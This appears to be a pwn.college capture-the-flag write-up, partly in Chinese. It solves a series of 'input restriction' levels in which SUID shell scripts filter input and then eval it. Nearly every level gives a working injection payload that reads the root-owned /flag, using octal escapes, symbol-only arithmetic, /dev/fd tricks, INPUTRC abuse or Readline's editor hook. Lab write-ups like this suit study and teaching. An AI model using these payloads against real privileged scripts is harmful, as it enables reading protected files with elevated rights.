PwnCollege - The Art of the Shell - Bypassing Input Restrictions

In the realm of the shell, brutal input restrictions may seem to be impenetrable walls, the unyielding gatekeepers of commands. Yet, to the adept practitioner, these walls are but illusions, mere whispers of constraints. With cunning and a deep understanding of the shell’s inner workings, one can bypass these seeming obstructions. Like a river flowing around a stone, the input, seemingly restricted, finds its own path. Embrace this lesson and realize that in the shell, as in life, perceived limitations are often just opportunities for creative solutions.

Rhythm of Restriction

1
2
3
4
5
6
7
ubuntu@input-restrictions~rhythm-of-restriction:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

read INPUT < <(head -n1 | tr -d "[A-Za-z0-9/]")
eval "$INPUT"
1
2
3
4
ubuntu@input-restrictions~rhythm-of-restriction:~$ echo "/bin/cat /flag" > _
ubuntu@input-restrictions~rhythm-of-restriction:~$ /challenge/run
. _
pwn.college{********************************************}
1
2
3
4
5
6
7
输入 . _ 时,tr -d 发现没有字母、数字或 /。变量 $INPUT 的值就是 . _。

eval ". _" 被执行。因为点号 . 是内置命令,它不需要 /usr/bin 里的任何外部可执行文件。

Bash 会去寻找名为 _ 的文件。虽然题目里的 PATH 被重置为 /usr/bin,但在 Bash 的机制中,如果 source 的目标文件不带路径斜杠,且在 PATH 中找不到,它会默认回退去搜索当前目录 (current directory)。

于是,它成功加载了你之前创建的 _ 文件,并在拥有 SUID 权限的 shell 环境下,执行了里面的 /bin/cat /flag。

Odyssey of the Octal

1
2
3
4
5
6
7
ubuntu@input-restrictions~odyssey-of-the-octal:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

read INPUT < <(head -n1 | tr -d "[A-Za-z0-9./]")
eval "$INPUT"
1
2
3
ubuntu@input-restrictions~odyssey-of-the-octal:~$ /challenge/run
$(<_)
pwn.college{********************************************}

Riddle of the Radix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~riddle-of-the-radix:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read -r INPUT < <(head -n1 | tr -d "[A-Za-z./]")
eval "$INPUT"
}

doit

ANSI-C Quoting

$'\NNN' 这种语法允许通过八进制 (Octal) ASCII 码来表示任何字符。

1
2
3
ubuntu@input-restrictions~riddle-of-the-radix:~$ /challenge/run
$'\057\142\151\156\057\143\141\164' $'\057\146\154\141\147'
pwn.college{********************************************}

Whisper of the Withheld

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~whisper-of-the-withheld:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -n1 | tr -d "[A-Za-z./]")
eval "$INPUT"
}

doit

have now -r raw this time $'\NNN' -> $'NNN' $'\\NNN' -> $'\NNN'

1
2
3
ubuntu@input-restrictions~whisper-of-the-withheld:~$ /challenge/run
$'\\057\\142\\151\\156\\057\\143\\141\\164' $'\\057\\146\\154\\141\\147'
pwn.college{********************************************}

Path of the Unseen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~path-of-the-unseen:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -n1 | tr -d "[A-Za-z0-9.~]")
eval "$INPUT"
}

doit
1
2
3
4
5
6
7
8
9
ubuntu@input-restrictions~path-of-the-unseen:~$ echo "/bin/cat /flag" > /tmp/___
ubuntu@input-restrictions~path-of-the-unseen:~$ chmod +x /tmp/___
ubuntu@input-restrictions~path-of-the-unseen:~$ /challenge/run
/*/___
pwn.college{********************************************}

# /* 代表根目录下的所有子目录(如 /bin, /etc, /usr, /tmp 等)。

# /*/___ 意思是:在根目录的任意子目录中,寻找名为 ___ 的文件。

Dance of the Disallowed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~dance-of-the-disallowed:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -n1 | tr -d "[A-Za-z0-9./~]")
eval "$INPUT"
}

doit
1
2
3
4
5
6
7
8
ubuntu@input-restrictions~dance-of-the-disallowed:~$ /challenge/run
__=${##};___=$(($__-$__));____=$(($__+$__));_____=$(($____+$____));______=$(($_____+$____+$__));_______=${!#:___:__};________=${!#:_____:__};_________=${!#:______:__};$_________$________ $_______????
nl: /boot: Is a directory
1 pwn.college{********************************************}
nl: /home: Is a directory
nl: /proc: Is a directory
nl: /root: Is a directory
nl: /sbin: Is a directory
1
__=${##};___=$(($__-$__));____=$(($__+$__));_____=$(($____+$____));______=$(($_____+$____+$__));_______=${!#:___:__};________=${!#:_____:__};_________=${!#:______:__};$_________$________ $_______????
  • __=$ 参数个数的长度,拿到 1

  • ___=$(($__-$__)) 1 - 1 = 0

  • ____=$(($__+$__)) 1 + 1 = 2

  • _____=$(($____+$____)) 2 + 2 = 4

  • ______=$(($_____+$____+$__)) 4 + 2 + 1 = 7

  • $# 是 0,所以 ${!#} 会解析为 $0,即字符串 /challenge/run

  • _______=${!#:___:__} 提取索引 0,长度 1,得到斜杠 /

  • ________=${!#:_____:__} 提取索引 4,长度 1,得到字母 l

  • _________=${!#:______:__} 提取索引 7,长度 1,得到字母 n

最后的 $_________$________ $_______???? 展开后等效于:

1
nl /????

因为题目环境配置了 PATH=/usr/bin,bash 会直接在路径中找到 /usr/bin/nl 并执行它。nl 会忽略掉那些作为目录的 /boot/dev

Veil of the Forbidden

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~veil-of-the-forbidden:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -n1 | tr -cd "[_$}{()#;:<=+]")
eval "$INPUT"
}

doit
1
2
3
4
ubuntu@input-restrictions~veil-of-the-forbidden:~$ /challenge/run
____=<(:);___=$((++___));__=$((___+___+___+___+___+___+___+___));$(<${____:$#:$__}$#)
cat /flag
pwn.college{********************************************}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
漏洞出在 head -n1 上。它只消耗了标准输入的第一行。

只要在第一行用([_$}{()#;:<=+])拼凑出读取并执行标准输入的指令,第二行就可以 cat /flag

____=<(:) 利用进程替换生成 /dev/fd/63,并存入变量 ____(四个下划线)。在部分 Bash中,空的进程替换 <() 会被解析器判定为 Syntax Error。空指令 : 防止这种情况(Null Utility)

___=$((++___)) 自增数字 1。

__=$((___+___+...)) 利用 8 个 1 相加,造出数字 8。

${____:$#:$__} 用 ${var:0:8} 语法从 /dev/fd/63 提取出 /dev/fd/。

...$# 在末尾拼上代表 0 的 $#,合成 /dev/fd/0。

$(<...) 读取 stdin 里的 cat /flag 并将其作为命令执行

当你运行一个程序(也就是启动一个 process)时,kernel 会给这个进程分配一个专门的“文件追踪表”。表里的每一个编号,就叫 file descriptor (FD)

  • 0:永远是 standard input (stdin,通常是你的键盘或上游管道)。
  • 1:永远是 standard output (stdout,通常是你的屏幕)。
  • 2:永远是 standard error (stderr,报错信息)。

/dev/fd/ 是一个由 kernel 动态维护的 virtual filesystem(虚拟文件系统),它通常只是一个指向 /proc/self/fd/ 的 symlink(符号链接)。如果你去 ls /dev/fd/,你看到的其实是你当前正在运行的这个进程所打开的所有文件描述符。

当你输入 <(:) 也就是使用 Bash 的 process substitution(进程替换)时

  1. Bash 向 kernel 申请创建一个在内存里的匿名 pipe(管道)。
  2. Bash 把子进程 : 的 stdout 接到这个管道的写入端。
  3. Bash 把管道的读取端作为一个 file descriptor 打开。
  4. 为了防止和程序员平时自己打开的低编号文件(比如 3, 4, 5)发生冲突,Bash 底层源码里有一个逻辑:尽可能挑选一个靠后的、空闲的高位数字。在大多数现代 Linux 环境中,系统允许单个进程打开的最大文件数通常很大,但 Bash 为了安全兼容,经常默认分配 63 这个编号给 process substitution 使用(有时也会是 62,取决于具体的系统环境和并发状况)。

执行 ____=<(:) 时,Bash 把上面的步骤做完后,会将 /dev/fd/63 直接返回,并赋值给变量 ____

btw 变量名只允许大小写字母(a-z, A-Z)、数字(0-9)和下划线(_)

Your Misplaced Memories

When restrictions rule your thoughts, you might find the flag in a misplaced memory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuntu@input-restrictions~your-misplaced-memories:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# This neat trick was generously contributed by WilyWizard!

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
# i can only use [ - ~ ]
read INPUT < <(head -n1 | tr -cd "[\-~]")
eval "$INPUT"
}

doit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# cd 切换目录时,Bash 会自动更新一个环境变量 $OLDPWD,记录 cd 之前所在的路径。
# 目录展开符 ~- 会被直接替换为 $OLDPWD 的值。恰好 ~ 和 - 都在白名单字符里

ubuntu@input-restrictions~your-misplaced-memories:~$ mkdir -p /tmp/arch_btw
ubuntu@input-restrictions~your-misplaced-memories:~$ cd /tmp/arch_btw
ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ echo '#!/usr/bin/cat /flag' > /tmp/payload
ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ chmod +x /tmp/payload
ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ (sleep 5 && rm -rf /tmp/arch_btw && mv /tmp/payload /tmp/arch_btw) &
[1] 314
ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ /challenge/run
~-
pwn.college{********************************************}
#!/usr/bin/cat /flag
[1]+ Done ( sleep 5 && rm -rf /tmp/arch_btw && mv /tmp/payload /tmp/arch_btw )

Exclamations of Execution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
ubuntu@input-restrictions~exclamations-of-execution:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@input-restrictions~exclamations-of-execution:~$ cat /challenge/run-actual
#!/bin/bash -p

# This neat trick was generously contributed by armax00

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -c5 | tr -d "[A-Za-z0-9./~\-]")
eval "$INPUT"
}

doit
1
2
ubuntu@input-restrictions~exclamations-of-execution:~$ echo '$__' | __="/bin/cat /flag" /challenge/run
pwn.college{********************************************}
  1. __="/bin/cat /flag":定义了一个名为 __ 的环境变量,由于当前命令执行环境继承,这个变量会进入 root 权限的 bash 脚本中。
  2. echo '$__':向管道输出了 $__\n( 4 个字节)。
  3. tr 试图过滤,但由于字符串里全是非字母数字的符号,$__ 被原封不动地保留并赋值给 INPUT
  4. eval "$INPUT" 被执行,实际上就是执行 eval "$__"
  5. Bash 展开变量 __,命令变为 /bin/cat /flag 并以 root 权限运行

Sensing of Secrets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuntu@input-restrictions~sensing-of-secrets:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# thanks to amateurhour for the suggestion of this trick

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cp "$1" "$WORKDIR/dangerous-script.sh"
cd $WORKDIR

doit() {
echo -n ""
cat dangerous-script.sh | tr -cd "[\n $\-/A-Za-z]" | grep -E "^(echo|read) " > safe-script.sh
bash safe-script.sh
}

doit
1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@input-restrictions~sensing-of-secrets:~$ /challenge/run /tmp/tmp
/flag
readline: /flag: line 1: pwn.college{********************************************}: no key sequence terminator
^C
ubuntu@input-restrictions~sensing-of-secrets:~$ cat /tmp/tmp
read INPUTRC #spacehere
read -e # spacehere

# 使用 read -e 命令时,Bash 会调用底层的 Readline 库来获取用户的输入(这会提供类似命令补全、历史记录查找等高级功能)。而 Readline 在首次被调用初始化时,它会去读取自己的配置文件。

# 这个配置文件的路径由环境变量 INPUTRC 决定

# 如果把 INPUTRC 的值设为 /flag,Readline 在初始化时就会解析 /flag 文件的内容。由于 Flag 的内容不是合法的 Readline 配置语法,解析器会崩溃并在标准错误流 (stderr) 里把这行无法解析的内容作为报错信息打印出来

A String of Secrecy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuntu@input-restrictions~a-string-of-secrecy:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# thanks to amateurhour for the suggestion of this trick as well!
#
PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cp "$1" "$WORKDIR/dangerous-script.sh"
cd $WORKDIR

doit() {
echo -n ""
cat dangerous-script.sh | tr -cd "[\n $\-/a-z]" | grep -E "^(echo|read) " > safe-script.sh
bash safe-script.sh
}

doit
1
2
3
4
5
6
7
8
9
10
# vim in /tmp/tmp
read a
read $a
read -e

ubuntu@input-restrictions~a-string-of-secrecy:~$ /challenge/run /tmp/tmp
INPUTRC
/flag
readline: /flag: line 1: pwn.college{********************************************}: no key sequence terminator
^C

The Secret, Commanded

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@input-restrictions~the-secret-commanded:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cp "$1" "$WORKDIR/dangerous-script.sh"
cd $WORKDIR

doit() {
echo -n ""
cat dangerous-script.sh | tr -cd "[\n \-/a-z]" | grep -E "^(echo|read) " > safe-script.sh
bash safe-script.sh
}

doit
1
2
3
4
5
6
7
8
9
ubuntu@input-restrictions~the-secret-commanded:~$ echo "read -e" > /tmp/payload
ubuntu@input-restrictions~the-secret-commanded:~$ /challenge/run /tmp/payload
cat /flag
10
wq
10
cat /flag
pwn.college{********************************************}
wq

Bash 的 Readline 默认键绑定(Emacs 模式)中,藏着一个内部函数:

edit-and-execute-command (这也正是题目 “Commanded” 的双关语由来)。

当你在终端输入了一半的命令,突然觉得太长太复杂,你可以按下特定的快捷键。Bash 会立刻把你当前敲击的内容保存到一个临时文件中,并用系统默认的编辑器(vi、nano 或 emacs, in this dojo we use ed)打开它。当你保存并退出编辑器时,Bash 会直接以当前 Shell 的权限执行文件里的命令

因为整个外部包装器 (exec-suid) 是以 root 权限运行的,所以这个 Readline 调起的执行操作,同样拥有 root 权限。

1
/challenge/run /tmp/payload
  1. 程序会静默挂起(此时它正在以 root 权限执行 read -e,等待输入)。
  2. 在键盘上敲下拿 flag 的命令:cat /flag (注意别按回车)
  3. 接下来 先按 Ctrl+X,然后按 Ctrl+E
  4. 系统会拉起 ed
  5. 输入 wq,按回车。
  6. Bash 会接管这段文本,在 root 上下文中执行 cat /flag

The Stumble From Safety

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@input-restrictions~the-stumble-from-safety:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cp "$1" "$WORKDIR/dangerous-script.sh"
cd $WORKDIR

doit() {
echo -n ""
cat dangerous-script.sh | tr -cd "[\n \-/0-9a-z]" | grep -E "^(echo|read) " > safe-script.sh
bash safe-script.sh
}

doit
1
2
3
4
5
6
7
8
9
echo "read -e" > /tmp/payload
ubuntu@input-restrictions~the-stumble-from-safety:~$ /challenge/run /tmp/payload
cat /flag
10
wq
10
cat /flag
pwn.college{********************************************}
^C

Precision of Parameters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ubuntu@input-restrictions~precision-of-parameters:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

# Inspired by Orange Tsai

PATH=/usr/bin

WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1
cd $WORKDIR

# some cleanup
HOME=$WORKDIR
unset OLDPWD # thanks, WilyWizard

cp /flag $WORKDIR
read -r INPUT
[ "${#INPUT}" -gt 5 ] && exit 2
sh -c "$INPUT" < /dev/null
1
2
3
4
5
6
7
8
9
ubuntu@input-restrictions~precision-of-parameters:~$ /challenge/run
cat *
pwn.college{********************************************}
ubuntu@input-restrictions~precision-of-parameters:~$ /challenge/run
tac *
pwn.college{********************************************}
ubuntu@input-restrictions~precision-of-parameters:~$ /challenge/run
nl *
1 pwn.college{********************************************}

Brevity’s Enigma

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@input-restrictions~brevitys-enigma:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

# Inspired by Orange Tsai

PATH=/usr/bin

WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1
cd $WORKDIR

# some cleanup
HOME=$WORKDIR
unset OLDPWD

cp /flag .

while [ "$INPUT" != "exit" ]
do
read -r INPUT
[ "${#INPUT}" -gt 4 ] && exit 2
sh -c "$INPUT" < /dev/null 2>/dev/null
done
1
2
3
ubuntu@input-restrictions~brevitys-enigma:~$ /challenge/run
nl *
1 pwn.college{********************************************}

Essense of Economy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ubuntu@input-restrictions~essense-of-economy:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

# Inspired by Orange Tsai

PATH=/usr/bin

WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1
cd $WORKDIR

# some cleanup
HOME=$WORKDIR
unset OLDPWD

while [ "$INPUT" != "exit" ]
do
read -r INPUT
[ "${#INPUT}" -gt 5 ] && exit 2
sh -c "$INPUT" < /dev/null 2>/dev/null
done
1
2
3
ubuntu@input-restrictions~essense-of-economy:~$ /challenge/run
nl /*
1 pwn.college{********************************************}

Mirage of Minimalism

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ubuntu@input-restrictions~mirage-of-minimalism:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

# Inspired by Orange Tsai

PATH=/usr/bin

WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1
cd $WORKDIR

# some cleanup
HOME=$WORKDIR
unset OLDPWD

while [ "$INPUT" != "exit" ]
do
read -r INPUT
[ "${#INPUT}" -gt 4 ] && exit 2
sh -c "$INPUT" < /dev/null 2>/dev/null
done
1
2
3
4
5
ubuntu@input-restrictions~mirage-of-minimalism:~$ /challenge/run
>cat
* /*
pwn.college{********************************************}
^C